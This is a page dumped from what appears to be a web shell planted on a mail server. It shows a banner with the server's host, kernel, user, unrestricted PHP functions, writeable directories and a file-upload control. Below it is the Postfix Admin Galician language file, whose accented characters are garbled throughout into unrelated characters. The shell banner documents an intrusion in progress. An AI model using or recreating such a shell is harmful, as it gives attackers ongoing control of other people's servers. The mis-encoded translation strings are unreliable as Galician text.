Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/mailsvr/padmin/languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/mailsvr/padmin/languages/gl.lang
<?php
# $Id$
//
// Language file Spanish 
// by Alexandre Espinosa Menor <aemenor@gmail.com>

$PALANG['YES'] = 'SI';
$PALANG['NO'] = 'NON';
$PALANG['edit'] = 'editar';
$PALANG['del'] = 'borrar';
$PALANG['exit'] = 'Sair'; 
$PALANG['cancel'] = 'Cancelar'; 
$PALANG['save'] = 'Gardar'; # XXX Text change: "Save" -> "Save changes"
$PALANG['confirm'] = 'Est谩 seguro que desexa borralo?\n';
$PALANG['confirm_delete_admin'] = 'Realmente quere borrar o/a administrador/a %s?'; # XXX
$PALANG['confirm_delete_alias'] = 'Realmente quere borrar o alias %s?'; # XXX
$PALANG['confirm_delete_aliasdomain'] = 'Realmente quere borrar o alias de dominio %s?'; # XXX
$PALANG['confirm_delete_domain'] = 'Est谩 seguro que desexa borrar todos os rexistros deste dominio? Non se pode desfacer!\n (%s)'; # XXX text changed to: 'Do you really want to delete all records for the domain %s? This can not be undone'
$PALANG['confirm_delete_fetchmail'] = 'Realmente quere borrar a tarefa de fetchmail %s?'; # XXX
$PALANG['confirm_delete_mailbox'] = 'Realmente quere borrar o buz贸n %s?'; # XXX
$PALANG['confirm_delete_vacation'] = 'Realmente quere borrar a mensaxe de ausencia de %s?'; # XXX
$PALANG['no_delete_permissions'] = 'Non ten permisos para borrar %s!'; # XXX
$PALANG['check_update'] = 'Comprobar actualizaci贸n'; # XXX
$PALANG['invalid_parameter'] = 'Par&aacute;metro inv谩lido!'; 
$PALANG['show'] = 'Ver:'; # XXX
$PALANG['all'] = 'Todo'; # XXX
$PALANG['created'] = 'Creado'; # XXX
$PALANG['unknown'] = 'desco帽ecido'; # XXX
$PALANG['download_csv'] = 'Descarga esta lista como un ficheiro CSV'; # XXX
$PALANG['missing_field'] = 'Non existe o campo %s '; # XXX
$PALANG['must_be_numeric'] = '%s debe ser num茅rico'; # XXX
$PALANG['must_be_numeric_bigger_than_null'] = '%s debe ser num茅rico e maior que 0'; # XXX
$PALANG['must_be_boolean'] = '%s debe ser booleano'; # XXX
$PALANG['invalid_value_given'] = 'Valor inv谩lido para %s'; # XXX
$PALANG['edit_not_allowed'] = 'Non ten permisos para editar %s'; # XXX
$PALANG['searchparams'] = 'Buscar par谩metros:'; # XXX
$PALANG['pFooter_logged_as'] = 'Autenticado como %s';  # XXX Text change: 'logged in as %s' (the 'in' was missing)

$PALANG['pLogin_welcome'] = 'Login de administrador para administraci贸n de dominios.';
$PALANG['pLogin_username'] = 'Usuario (e-mail)'; # XXX compare with pUsersLogin_username - should be "Login (email)"
$PALANG['password'] = 'Contrasinal';
$PALANG['pLogin_language'] = 'Linguaxe'; # XXX
$PALANG['pLogin_button'] = 'Usuario'; # XXX compare with pUsersLogin_button - should be "Login"
$PALANG['pLogin_failed'] = 'A conta de email ou o contrasinal non son correctas.'; 
$PALANG['pLogin_login_users'] = 'Login para ir 谩 secci贸n de usuarios.';
$PALANG['pMenu_main'] = 'Principal'; 
$PALANG['pMenu_overview'] = 'Resumo';
$PALANG['add_alias'] = 'Engadir alias';
$PALANG['add_alias_domain'] = 'Engadir alias de dominio';  # XXX check text - should be 'Add Alias Domain'
$PALANG['add_mailbox'] = 'Engadir buz贸n';
$PALANG['pMenu_fetchmail'] = 'Obter Emails'; 
$PALANG['pMenu_sendmail'] = 'Enviar e-mail';
$PALANG['pMenu_password'] = 'Contrasinal';
$PALANG['pMenu_viewlog'] = 'Ver Logs';
$PALANG['pMenu_logout'] = 'Sair';

$PALANG['pMain_welcome'] = 'Benvido/a a Postfix Admin!';
$PALANG['pMain_overview'] = 'Listado dos alias e buz贸ns. Pode editalos / borralos desde aqu铆.';
$PALANG['pMain_create_alias'] = 'Creaci贸n dun novo alias para o seu dominio.'; # XXX check text - should be 'Create a new alias for your domain.'
$PALANG['pMain_create_mailbox'] = 'Creaci贸n dun nuevo buz贸n para o seu dominio.';
$PALANG['pMain_sendmail'] = 'Enviar un e颅mail a un dos buz贸ns recentemente creados.';
$PALANG['pMain_password'] = 'Cambiar o contrasinal para a s煤a conta de administraci贸n.';
$PALANG['pMain_viewlog'] = 'Ver Logs.';
$PALANG['pMain_logout'] = 'Sair.';

$PALANG['pOverview_disabled'] = 'Desabilitado'; 
$PALANG['pOverview_unlimited'] = 'Ilimitado'; 
$PALANG['pOverview_title'] = ':: Dominios Definidos'; 
$PALANG['pOverview_up_arrow'] = 'Arriba'; 
$PALANG['pOverview_right_arrow'] = 'P谩xina seguinte'; 
$PALANG['pOverview_left_arrow'] = 'P谩xina anterior'; 
$PALANG['pOverview_alias_domain_title'] = ':: Alias de Dominios'; 
$PALANG['pOverview_alias_title'] = ':: Alias'; 
$PALANG['pOverview_mailbox_title'] = ':: Buz贸ns'; 
$PALANG['go'] = 'Ir';
$PALANG['pOverview_welcome'] = 'Resumo de ';
$PALANG['pOverview_alias_domain_aliases'] = 'Alias de Dominios'; 
$PALANG['pOverview_alias_address'] = 'De';
$PALANG['active'] = 'Activo'; 
$PALANG['and_x_more'] = '[e %s m谩is...]'; 
$PALANG['pOverview_mailbox_username'] = 'E-mail';
$PALANG['name'] = 'Nome';
$PALANG['pOverview_mailbox_quota'] = 'Cota (MB)';
$PALANG['pOverview_vacation_edit'] = 'VACATION EST脕 ACTIVADO'; 
$PALANG['pOverview_vacation_option'] = 'Establecer Vacation'; 
$PALANG['no_domains_for_this_admin'] = 'Non ten permisos para neng煤n dominio.'; # XXX
$PALANG['no_domains_exist'] = 'Debe crear cando menos un dominio antes de empregar unha lista virtual.'; # "virtual list" should match $PALANG['pAdminMenu_list_virtual'] # XXX

$PALANG['domain'] = 'Dominio';
$PALANG['pOverview_get_alias_domains'] = 'Alias de Dominios'; 
$PALANG['mailboxes'] = 'Buz贸ns';
$PALANG['pOverview_get_quota'] = 'Cota de buz贸n (MB)';

$PALANG['pDelete_delete_error'] = 'Imposible borrar o rexistro ';
$PALANG['pDelete_delete_success'] = '%s borrado.'; 
$PALANG['pDelete_domain_error'] = 'Este dominio non lle pertence ';
$PALANG['pDelete_alias_error'] = 'Non se puido eliminar o alias '; 
$PALANG['pCreate_alias_domain_welcome'] = 'Sincronizar direcci贸ns dun dominio a outro.'; 
$PALANG['pCreate_alias_domain_alias'] = 'Alias de Dominio'; 
$PALANG['pCreate_alias_domain_alias_text'] = 'O dominio ao que cheega o email.'; 
$PALANG['pCreate_alias_domain_target'] = 'Dominio de destino'; 
$PALANG['pCreate_alias_domain_target_text'] = 'O dominio ao que deber铆an ir os emails.'; 
$PALANG['pCreate_alias_domain_error1'] = 'Non est谩s autorizado a crear a configuraci贸n que elexiches.'; 
$PALANG['pCreate_alias_domain_error2'] = 'A configuraci贸n seleccionada non 茅 v谩lida, por favor elixe unha distinta!'; 
$PALANG['alias_domain_already_exists'] = 'Xa existe un alias para este dominio!'; # XXX
$PALANG['alias_domain_does_not_exist'] = 'Non existe un alias para este dominio!'; # XXX
$PALANG['alias_domain_create_failed'] = 'Fallou a inserci贸n na base de datos. (%s)';  # XXX Text changed to: Creating the alias domain %s failed!
$PALANG['alias_domain_change_failed'] = 'Errou o cambio de alias do dominio %s!'; # XXX
$PALANG['pCreate_alias_domain_error4'] = 'Xa est谩n todos os dominios asignados.'; 
$PALANG['pCreate_alias_domain_success'] = 'O alias de dominio insertouse na t谩boa! (%s)';  # XXX Text changed to: The alias domain %s has been created.
$PALANG['alias_domain_changed'] = 'O alias do dominio cambiouse.'; # XXX
$PALANG['alias_domain_to_itsself'] = 'Un dominio non pode ser un alias de dominio de s铆 mesmo!'; # XXX
$PALANG['delete_domain_aliasdomain_target'] = 'O dominio %s 茅 o destino dun ou m谩is alias de dominio e non pode ser borrado! (Borra primeiro os alias do dominio.)'; # XXX

$PALANG['pCreate_alias_address_text_error1'] = 'O ALIAS non 茅 v谩lido!';
$PALANG['alias_does_not_exist'] = 'Este alias non existe!'; # XXX
$PALANG['email_address_already_exists'] = '隆Esta direcci贸n xa existe, elixa outra diferente por favor!'; # XXX check text - should be 'This email address already exists, please choose a different one\!'
$PALANG['pCreate_alias_address_text_error3'] = 'Chegou ao seu l铆mite de creaci贸n de alias!';
$PALANG['pCreate_alias_goto_text'] = 'Onde debe de ser enviado o e-mail.';
$PALANG['pCreate_alias_goto_text_error'] = 'O PARA non 茅 v谩lido!';
$PALANG['pCreate_alias_result_error'] = 'Non 茅 posible engadir o alias 谩 t谩boa de alias! (%s)'; # XXX Text changed to: Creating the alias %s failed!
$PALANG['pCreate_alias_result_success'] = 'O alias foi engadido 谩 t谩boa de alias!'; # XXX text change: 'The alias %s has been created!'
$PALANG['alias_updated'] = 'O alias %s foi actualizado!'; # XXX
$PALANG['pCreate_alias_catchall_text'] = 'Para crear un alias xeral use "*" como alias. Para unha redirecci贸n de dominio a dominio, use "*@domain.tld" como Destino.'; # XXX check/beautify - was split in two lines before
$PALANG['mailbox_alias_cant_be_deleted'] = 'Este alias pertence a un buz贸n e non pode borrarse!'; # XXX
$PALANG['protected_alias_cant_be_deleted'] = 'O alias %s est谩 protexido e s贸 pode ser borrado por un superadmin'; # XXX
$PALANG['alias_points_to_itself'] = 'Alias may not point to itself'; # XXX

$PALANG['pEdit_alias_welcome'] = 'Edite un alias para o seu dominio.'; # XXX Text change to: 'Edit forwarding settings'
$PALANG['pEdit_alias_help'] = 'Unha entrada por li帽a.'; # XXX # XXX Text change to: 'Accepts multiple targets, one entry per line.'
$PALANG['alias'] = 'Alias';
$PALANG['to'] = 'Destino';
$PALANG['pEdit_alias_goto_text_error1'] = 'Non introduciu nada no destino';
$PALANG['pEdit_alias_goto_text_error2'] = 'A direcci贸n de e-mail introducida non 茅 v谩lida: ';
$PALANG['pEdit_alias_domain_result_error'] = 'Non se puido modificar o alias de dominio!'; 
$PALANG['pEdit_alias_forward_and_store'] = 'Entregar no buz贸n local.'; 
$PALANG['pEdit_alias_forward_only'] = 'Reenviar s贸 ao email especificado.'; 
$PALANG['pEdit_alias_result_error'] = 'Imposible modificar o alias! (%s)'; # XXX Text changed to: Modifying the alias %s failed!

$PALANG['pCreate_mailbox_welcome'] = 'Crear un novo buz贸n para o seu dominio.';
$PALANG['pCreate_mailbox_local_part_error'] = 'Should be the bit before the @ sign.'; # XXX
$PALANG['pCreate_mailbox_username_text_error1'] = 'O email non 茅 v谩lido!';
$PALANG['pCreate_mailbox_username_text_error3'] = 'Chegou ao l铆mite de creaci贸n de buz贸ns!';
$PALANG['pCreate_mailbox_password_text'] = 'Contrasinal para POP3/IMAP';
$PALANG['pCreate_mailbox_name_text'] = 'Nome completo';
$PALANG['pCreate_mailbox_phone'] = 'Tel茅fono m贸vil'; # XXX
$PALANG['pCreate_mailbox_phone_desc'] = "Empregado para enviar un SMS se esquece o seu contrasinal"; # XXX
$PALANG['pCreate_mailbox_email'] = 'Outro email'; # XXX
$PALANG['pCreate_mailbox_email_desc'] = "Empregado se esquece o seu contrasinal"; # XXX
$PALANG['pCreate_mailbox_mail'] = 'Enviar correo benvida';
$PALANG['pCreate_mailbox_result_error'] = 'Imposible engadir un buz贸n 谩 t谩boa de buz贸ns! (%s)'; # XXX Text changed to: Creating the mailbox %s failed!
$PALANG['pCreate_mailbox_result_success'] = 'O buz贸n foi engadido 谩 t谩boa de buz贸ns! (%s)'; # XXX Text changed to: The mailbox %s has been added to the mailbox table!
$PALANG['pCreate_mailbox_result_succes_nosubfolders'] = 'O buz贸n %s foi engadido 谩 t谩boa de buz贸ns, pero neng煤n (ou s贸 alg煤n) das subcarpetas predefinidas puideron ser creadas.'; # XXX
$PALANG['mailbox_updated'] = "O buz贸n %s fpoi actualizado.";  # XXX
$PALANG['mailbox_update_failed'] = "A actualizaci贸n do buz贸n %s fallou!"; # XXX

$PALANG['pEdit_mailbox_welcome'] = 'Editar un buz贸n para o seu dominio.';
$PALANG['pEdit_mailbox_username'] = 'Usuario';
$PALANG['pEdit_mailbox_password_text_error'] = 'Os contrasinais introducidos non coinciden!';
$PALANG['pEdit_mailbox_quota'] = 'Cota';
$PALANG['pEdit_mailbox_quota_text'] = 'MB';
$PALANG['mb_max'] = 'MB (max: %s)'; # XXX
$PALANG['pEdit_mailbox_quota_text_error'] = 'A cota especificada 茅 demasiado alta!';
$PALANG['pEdit_mailbox_domain_error'] = 'Este dominio non lle pertence: ';
$PALANG['pEdit_mailbox_result_error'] = 'Imposible mudar o contrasinal!';

$PALANG['pPassword_welcome'] = 'Cambie o seu contrasinal de login.';
$PALANG['pPassword_admin'] = 'Login';
$PALANG['pPassword_password_current'] = 'Contrasinal actual';
$PALANG['pPassword_password_current_text_error'] = 'Non se introduciu o contrasinal actual!';
$PALANG['pPassword_password'] = 'Novo contrasinal';
$PALANG['pPassword_password2'] = 'Novo contrasinal (repetir)';
$PALANG['pPassword_password_text_error'] = 'Os contrasinais introducidos non coinciden ou est谩n en branco!'; # XXX check/beautify - was split in two lines before
$PALANG['change_password'] = 'Cambiar contrasinal'; # XXX check text - should be 'Change Password'
$PALANG['pPassword_result_error'] = 'Imposible mudar o contrasinal! (%s)'; # XXX Text changed to: Changing the password for %s failed!
$PALANG['pPassword_result_success'] = 'o seu contrasinal foi cambiado! (%s)'; # XXX Text changed to: The password for %s has been changed.
$PALANG['pPassword_recovery_title'] = 'Siga as instrucci贸ns para mudar o seu contrasinal.'; # XXX
$PALANG['pPassword_recovery_button'] = 'Enviar o c贸digo'; # XXX
$PALANG['pPassword_recovery_email_body'] = "Ol谩,\n\nUse a seguinte ligaz贸n para mudar o seu contrasinal de correo :\n%s\n\nGrazas,\n\n" . $CONF['admin_name']; # XXX
$PALANG['pPassword_recovery_sms_body'] = "Ol谩,\nO c贸digo para mudar o seu contrasinal 茅: %s\n" . $CONF['admin_name']; # XXX
$PALANG['pPassword_recovery_processed'] = "Procesouse a s煤a petici贸n. Se introduciu un usuario v谩lido, recibir谩 un email/SMS con un c贸digo de contrasinal."; # XXX
$PALANG['pPassword_password_code'] = 'C贸digo enviado por email/SMS'; # XXX
$PALANG['pPassword_code_text_error'] = 'C贸digo inv谩lido'; # XXX

$PALANG['pEdit_vacation_set'] = 'Cambiar / Establecer mensaxe de ausencia'; 
$PALANG['pEdit_vacation_remove'] = 'Quitar mensaxe de ausencia'; 
$PALANG['pVacation_result_error'] = 'Imposible actualizar a configuraci贸n e a resposta autom谩tica! (%s)'; # XXX Text changed to: Updating the auto response settings for %s failed
$PALANG['pVacation_result_removed'] = 'Autoresposta eliminada! (%s)';  # XXX Text changed to "Auto response for %s has been disabled!"
$PALANG['pVacation_result_added'] = 'Autoresposta habilitada! (%s)'; # XXX Text changed to "Auto response for %s has been enabled!"
$PALANG['pVacation_reply_type'] = 'Escolla de resposta'; # XXX
$PALANG['pVacation_reply_delay_time'] = 'Intervalo de tempo'; # XXX
$PALANG['pVacation_reply_delay_time_text'] = 'Tempo en segundos'; # XXX
$PALANG['pVacation_until_before_today'] = 'The Date of [Active until] is set  before Today'; # XXX
$PALANG['pVacation_until_before_from'] = 'The Date of [Active until] is set before [Active from]'; # XXX
$PALANG['reply_once'] = 'Respostar unha vez'; # XXX
$PALANG['reply_every_mail'] = 'Respostar cada email'; # XXX
$PALANG['reply_once_per_day'] = 'Respostar unha vez ao d铆a'; # XXX
$PALANG['reply_once_per_week'] = 'Respostar unha vez 谩 semana'; # XXX

$PALANG['pViewlog_welcome'] = 'Ver as 煤ltimas %s acci贸ns para ';
$PALANG['pViewlog_timestamp'] = 'Data/Hora';
$PALANG['pViewlog_action'] = 'Acci贸n';
$PALANG['pViewlog_data'] = 'Datos';
$PALANG['pViewlog_action_create_domain'] = 'crear domain'; # XXX
$PALANG['pViewlog_action_delete_domain'] = 'borrar domain'; # XXX
$PALANG['pViewlog_action_edit_domain'] = 'editar domain'; # XXX
$PALANG['pViewlog_action_create_mailbox'] = 'crear buz贸n'; 
$PALANG['pViewlog_action_delete_mailbox'] = 'borrar buz贸n'; 
$PALANG['pViewlog_action_edit_mailbox'] = 'editar buz贸n'; 
$PALANG['pViewlog_action_edit_mailbox_state'] = 'editar buz贸n activo'; 
$PALANG['pViewlog_action_create_alias'] = 'crear alias'; 
$PALANG['pViewlog_action_create_alias_domain'] = 'crear alias de dominio'; 
$PALANG['pViewlog_action_edit_alias_domain'] = 'editar alias de dominio'; # XXX
$PALANG['pViewlog_action_delete_alias'] = 'borrar alias'; 
$PALANG['pViewlog_action_delete_alias_domain'] = 'borrar alias de dominio'; 
$PALANG['pViewlog_action_edit_alias'] = 'editar alias'; 
$PALANG['pViewlog_action_edit_alias_state'] = 'editar alias activo'; 
$PALANG['pViewlog_action_edit_alias_domain_state'] = 'editar alias de dominio activo'; 
$PALANG['pViewlog_action_edit_password'] = 'cambiar contrasinal'; 
$PALANG['pViewlog_action_create_admin'] = 'crear admin'; # XXX
$PALANG['pViewlog_action_edit_admin'] = 'editar admin'; # XXX
$PALANG['pViewlog_action_delete_admin'] = 'borrar admin'; # XXX
$PALANG['pViewlog_action_edit_vacation'] = 'editar ausencia'; # XXX
$PALANG['pViewlog_action_create_fetchmail'] = 'crear tarefa de fetchmail'; # XXX
$PALANG['pViewlog_action_edit_fetchmail'] = 'editar tarefa de fetchmail'; # XXX
$PALANG['pViewlog_action_delete_fetchmail'] = 'borrar tarefa de fetchmail'; # XXX

$PALANG['pViewlog_result_error'] = 'Imposible atopar os logs!';

$PALANG['pSendmail_welcome'] = 'Enviar un email.';
$PALANG['from'] = 'De';
$PALANG['pSendmail_to'] = 'Destino';
$PALANG['pSendmail_to_text_error'] = 'A direcci贸n destino est谩 baleira o 茅 unha direcci贸n inv谩lida!';
$PALANG['subject'] = 'Asunto';
$PALANG['pSendmail_subject_text'] = 'Benvido';
$PALANG['pSendmail_body'] = 'Corpo';
$PALANG['pSendmail_button'] = 'Enviar mensaxe';
$PALANG['pSendmail_result_error'] = 'Imposible enviar o email! (%s)';  # XXX text change - new: Unable to send email to %s!
$PALANG['pSendmail_result_success'] = 'Email enviado! (%s)';  # XXX text change - new: Email sent to %s.

$PALANG['pAdminMenu_list_admin'] = 'Lista de administradores';
$PALANG['pAdminMenu_list_domain'] = 'Lista de dominios';
$PALANG['pAdminMenu_list_virtual'] = 'Lista de direcci贸ns virtuais';
$PALANG['pAdminMenu_backup'] = 'Backup';
$PALANG['pAdminMenu_create_domain_admins'] = 'Administradores de dominio';
$PALANG['pAdminMenu_create_admin'] = 'Novo administrador';
$PALANG['pAdminMenu_create_domain'] = 'Novo dominio';

$PALANG['pAdminList_admin_count'] = 'Dominios';

$PALANG['description'] = 'Descripci贸n';
$PALANG['aliases'] = 'Alias';
$PALANG['pAdminList_domain_quota'] = 'Cota de dominio (MB)'; # XXX
$PALANG['pAdminList_domain_backupmx'] = 'Backup MX'; # XXX
$PALANG['last_modified'] = '脷ltima Modificaci贸n';


$PALANG['pAdminCreate_domain_welcome'] = 'Engadir novo dominio';
$PALANG['pAdminCreate_domain_domain_text_error'] = 'O dominio xa existe!';
$PALANG['domain_does_not_exist'] = 'O dominio non existe!'; # XXX
$PALANG['pAdminCreate_domain_domain_text_error2'] = 'O dominio non 茅 v谩lido!'; 
$PALANG['pAdminCreate_domain_defaultaliases'] = 'Engadir alias por defecto';
$PALANG['pAdminCreate_domain_button'] = 'Engadir dominio';
$PALANG['pAdminCreate_domain_result_error'] = 'Imposible engadir o dominio! (%s)'; # XXX Text changed to: Adding the domain %s failed!
$PALANG['pAdminCreate_domain_result_success'] = 'O dominio foi a帽adido! (%s)'; # XXX Text changed to: The domain %s has been added.
$PALANG['domain_updated'] = 'O dominio %s foi actualizado.'; # XXX
$PALANG['pAdminDelete_admin_error'] = 'Non se puido borrar admin!'; # XXX
$PALANG['domain_postdel_failed'] = 'Non se puido borrar o dominio!';  # XXX Text changed to: The domain postdeletion script failed, check the error log for details!
$PALANG['domain_postcreate_failed'] = 'Fallou o script executado despois da creaci贸n do dominio, revise o log!'; # XXX
$PALANG['mailbox_postdel_failed'] = 'Fallou o script executado despois do borrado do buz贸n, revise o log!'; # XXX
$PALANG['mailbox_postedit_failed'] = 'Fallou o script executado despois da edici贸n do buz贸n, revise o log!'; # XXX
$PALANG['mailbox_postcreate_failed'] = 'Fallou o script executado despois da creaci贸n do buz贸n, revise o log!'; # XXX
$PALANG['pAdminDelete_alias_domain_error'] = 'Non se puido eliminar o alias do dominio!'; 
$PALANG['domain_conflict_vacation_domain'] = 'Non pode usar o dominio de ausencia como dominio de correo!'; # XXX

$PALANG['pAdminEdit_domain_welcome'] = 'Editar un dominio';
$PALANG['pAdminEdit_domain_aliases_text'] = '-1 = desabilitar | 0 = ilimitado';
$PALANG['pAdminEdit_domain_maxquota'] = 'Cota m谩xima';
$PALANG['pAdminEdit_domain_maxquota_text'] = 'MB | -1 = desabilitar | 0 = ilimitado';
$PALANG['pAdminEdit_domain_quota'] = 'Cota de dominio'; # XXX
$PALANG['transport'] = 'Transporte'; # XXX check text - should be 'Transport'
$PALANG['pAdminEdit_domain_transport_text'] = 'Definir transporte'; # XXX
$PALANG['pAdminEdit_domain_backupmx'] = 'O servidor de correo 茅 backup MX'; # XXX
$PALANG['pAdminEdit_domain_result_error'] = 'Imposible modificar o dominio! (%s)'; # XXX Text changed to: Modifying the domain %s failed!

$PALANG['pAdminCreate_admin_welcome'] = 'Engadir un novo administrador de dominio';
$PALANG['email_address'] = 'Email';
$PALANG['pAdminCreate_admin_username_text_error1'] = 'Administrador/a non 茅 un email v谩lido!';
$PALANG['admin_already_exists'] = 'O/a administrador/a xa existe ou non 茅 v谩lido/a!'; # XXX Text changed to: The admin already exists!
$PALANG['admin_does_not_exist'] = 'O/a administrador/a non existe!'; # XXX

$PALANG['pAdminCreate_admin_button'] = 'Engadir administrador/a';
$PALANG['pAdminCreate_admin_result_error'] = 'Imposible engadir o/a administrador/a! (%s)'; # XXX Text changed to: Adding the admin %s failed!
$PALANG['pAdminCreate_admin_result_success'] = 'O/A administrador/a foi engadido! (%s)'; # XXX Text changed to: The admin %s has been added.

$PALANG['pAdminEdit_admin_welcome'] = 'Editar un/unha administrador/a de dominio';
$PALANG['admin'] = 'Administrador/a';
$PALANG['password_again'] = 'Contrasinal (repetir)';
$PALANG['super_admin'] = 'Super admin'; # XXX
$PALANG['super_admin_desc'] = 'Super admins te帽en aceso a todos os dominios e poden manexar dominios e contas de administradores/as.'; # XXX
$PALANG['pAdminEdit_admin_result_error'] = 'Imposible modificar o/a administrador/a! (%s)'; # XXX Text changed to: Modifying the admin %s failed!
$PALANG['pAdminEdit_admin_result_success'] = 'O/A administrador/a foi modificado! (%s)'; # XXX Text changed to: The admin %s has been modified.

$PALANG['pUsersLogin_welcome'] = 'Login de usuarios para mudar o  alias.';
$PALANG['pUsersLogin_username_incorrect'] = 'Su login no es correcto. 隆Aseg煤rese de haber introducido su direcci贸n de e-mail como login!';
$PALANG['pUsersLogin_password_incorrect'] = '隆Su contrase帽a no es correcta!';
$PALANG['pUsersLogin_password_recover'] = 'I forgot my password'; # XXX

$PALANG['pUsersMenu_vacation'] = 'Resposta autom谩tica';
$PALANG['pUsersMenu_edit_alias'] = 'Cambiar a redirecci贸n';

$PALANG['pUsersMain_vacation'] = 'Configure unha mensaxe de "fora do traballo" ou unha resposta autom谩tica para o seu correo.';
$PALANG['pUsersMain_vacationSet'] = $PALANG['pUsersMenu_vacation'] . ' est谩 ACTIVADO, click \'' . $PALANG['pUsersMenu_vacation'] . '\' para ' . $PALANG['edit'] . '/eliminar'; 
$PALANG['pUsersMain_edit_alias'] = 'Cambie a s煤a redirecci贸n de correo.';
$PALANG['pUsersMain_password'] = 'Cambie o seu contrasinal.';

$PALANG['pUsersVacation_welcome'] = 'Resposta autom谩tica.';
$PALANG['pUsersVacation_welcome_text'] = 'Xa disp贸n dunha resposta autom谩tica configurada! (%s)'; # XXX Text changed to: 'Auto response for %s is active!'
$PALANG['pUsersVacation_subject_text'] = 'F贸ra do traballo';
$PALANG['message'] = 'Mensaxe'; 
$PALANG['pUsersVacation_body_text'] = <<<EOM
Estarei f贸ra desde <date> ata <date>.
Para asuntos urxentes, pode contactar comigo en <contact person>.
EOM;
$PALANG['pUsersVacation_activefrom'] = 'Activo desde'; # XXX
$PALANG['pUsersVacation_activeuntil'] = 'Activo ata'; # XXX


$PALANG['pEdit_dbLog_editactive'] = 'cambiar estado activo'; 

$PALANG['pSearch'] = 'buscar'; 
$PALANG['pSearch_welcome'] = 'Buscando: '; 
$PALANG['pReturn_to'] = 'Volver a'; 
$PALANG['pBroadcast_title'] = 'Enviar mensaxe a todos'; # XXX
$PALANG['pBroadcast_name'] = 'O teu nombre'; 
$PALANG['pBroadcast_success'] = 'Enviouse a mensaxe.'; 
$PALANG['pAdminMenu_broadcast_message'] = 'Mensaxe de Broadcast'; # XXX
$PALANG['pBroadcast_error_empty'] = 'Os campos Nome, Asunto e Mensaxe non poden estar baleiros!'; 
$PALANG['broadcast_mailboxes_only'] = 'S贸 enviar a buz贸ns'; # XXX
$PALANG['broadcast_to_domains'] = 'Enviar a dominios:'; # XXX
$PALANG['pStatus_undeliverable'] = 'posiblemente NON SE ENTREGOU'; 
$PALANG['pStatus_disabled'] = 'Conta desabilitada '; # XXX
$PALANG['pStatus_expired'] = 'Contrasinal vencido '; # XXX
$PALANG['pStatus_vacation'] = 'Ausencia activada '; # XXX
$PALANG['pStatus_custom'] = 'Enviado a '; 
$PALANG['pStatus_popimap'] = 'POP/IMAP '; # XXX
$PALANG['password_too_short'] = "O contrasinal 茅 demasiado corto - necesitanse %s caracteres"; 
$PALANG['password_no_characters'] = "O contrasinal debe conter ao menos %s letras (A-Z, a-z)."; # XXX
$PALANG['password_no_digits'] = "O contrasinal debe conter ao menos %s d铆xito(s)."; # XXX
$PALANG['pInvalidDomainRegex'] = "O nome de dominio %s 茅 inv谩lido, non se axusta 谩 expresi贸n regular"; 
$PALANG['pInvalidDomainDNS'] = "O dominio %s non 茅 v谩lido, e/ou non ten resoluci贸n DNS"; 
$PALANG['pInvalidMailRegex'] = "A direcci贸n de email non 茅 v谩lida, non se axusta 谩 expresi贸n regular (%s)"; # XXX %s added - but it should be in the text, not at the end
$PALANG['pFetchmail_welcome'] = 'Obter mail para:';
$PALANG['pFetchmail_new_entry'] = 'Nova entrada'; 
$PALANG['fetchmail_already_exists']         = 'Esta tarefa de fetchmail xa existe!'; # XXX
$PALANG['fetchmail_does_not_exist']         = 'Esta tarefa de fetchmail non existe!'; # XXX
$PALANG['pFetchmail_database_save_error'] = 'Non se puido gardar a entrada na base de datos!'; 
$PALANG['pFetchmail_database_save_success'] = 'Entrada gardada na base de datos.'; 
$PALANG['pFetchmail_error_invalid_id'] = 'Non se atopou rexistro co ID %s!'; # XXX
$PALANG['pFetchmail_invalid_mailbox'] = '隆Buz贸n inv谩lido!'; 
$PALANG['pFetchmail_server_missing'] = 'Por favor introduza o nome do servidor remoto!'; 
$PALANG['pFetchmail_user_missing'] = 'Por favor introduza o nome do servidor remoto!'; 
$PALANG['pFetchmail_password_missing'] = 'Por favor introduza o contrasinal remota!'; 
$PALANG['pFetchmail_field_id']              = 'ID'; # XXX
$PALANG['pFetchmail_field_mailbox']         = 'Buz贸n'; 
$PALANG['pFetchmail_field_src_server']      = 'Servidor'; 
$PALANG['pFetchmail_field_src_port']        = 'Porto'; # XXX
$PALANG['pFetchmail_field_src_auth']        = 'Tipo Autenticaci贸n'; 
$PALANG['pFetchmail_field_src_user']        = 'Usuario'; 
$PALANG['pFetchmail_field_src_password']    = $PALANG['password']; # needed until fetchmail is migrated into FetchmailHandler
$PALANG['pFetchmail_field_src_folder']      = 'Cartafol'; 
$PALANG['pFetchmail_field_poll_time']       = 'Poll'; # XXX
$PALANG['pFetchmail_field_fetchall']        = 'Obter todo'; 
$PALANG['pFetchmail_field_keep']            = 'Conservar'; 
$PALANG['pFetchmail_field_protocol']        = 'Protocolo'; 
$PALANG['pFetchmail_field_usessl']          = 'SSL activado'; 
$PALANG['pFetchmail_field_sslcertck']       = 'Comprobarci贸n de certificado SSL'; # XXX
$PALANG['pFetchmail_field_sslcertpath']     = 'Ruta a certificados SSL'; # XXX
$PALANG['pFetchmail_field_sslfingerprint']  = 'Pegada SSL (md5)'; # XXX
$PALANG['pFetchmail_field_extra_options']   = 'Opci贸ns extras'; 
$PALANG['pFetchmail_field_mda']             = 'MDA'; # XXX
$PALANG['pFetchmail_field_date']            = 'Data'; 
$PALANG['pFetchmail_field_returned_text']   = 'Texto Devolto'; 
$PALANG['pFetchmail_desc_id']               = 'Record ID'; # XXX
$PALANG['pFetchmail_desc_mailbox']          = 'Buz贸n local'; 
$PALANG['pFetchmail_desc_src_server']       = 'Servidor Remoto'; 
$PALANG['pFetchmail_desc_src_port']         = 'N煤mero de porto remoto, se 茅 necesario un non est谩ndar. (0: usar o porto por defecto)'; # XXX
$PALANG['pFetchmail_desc_src_auth']         = 'Principalmente \'password\''; # Translators: Please do NOT translate 'password' here # XXX
$PALANG['pFetchmail_desc_src_user']         = 'Usuario Remoto'; 
$PALANG['pFetchmail_desc_src_password']     = 'Contrasinal Remoto'; 
$PALANG['pFetchmail_desc_src_folder']       = 'Cartafol Remoto'; 
$PALANG['pFetchmail_desc_poll_time']        = 'Obter cada ... minutos'; 
$PALANG['pFetchmail_desc_fetchall']         = 'Obter as mensaxes lidas e novas'; 
$PALANG['pFetchmail_desc_keep']             = 'Gardar unha copia das mensaxes no servidor remoto'; 
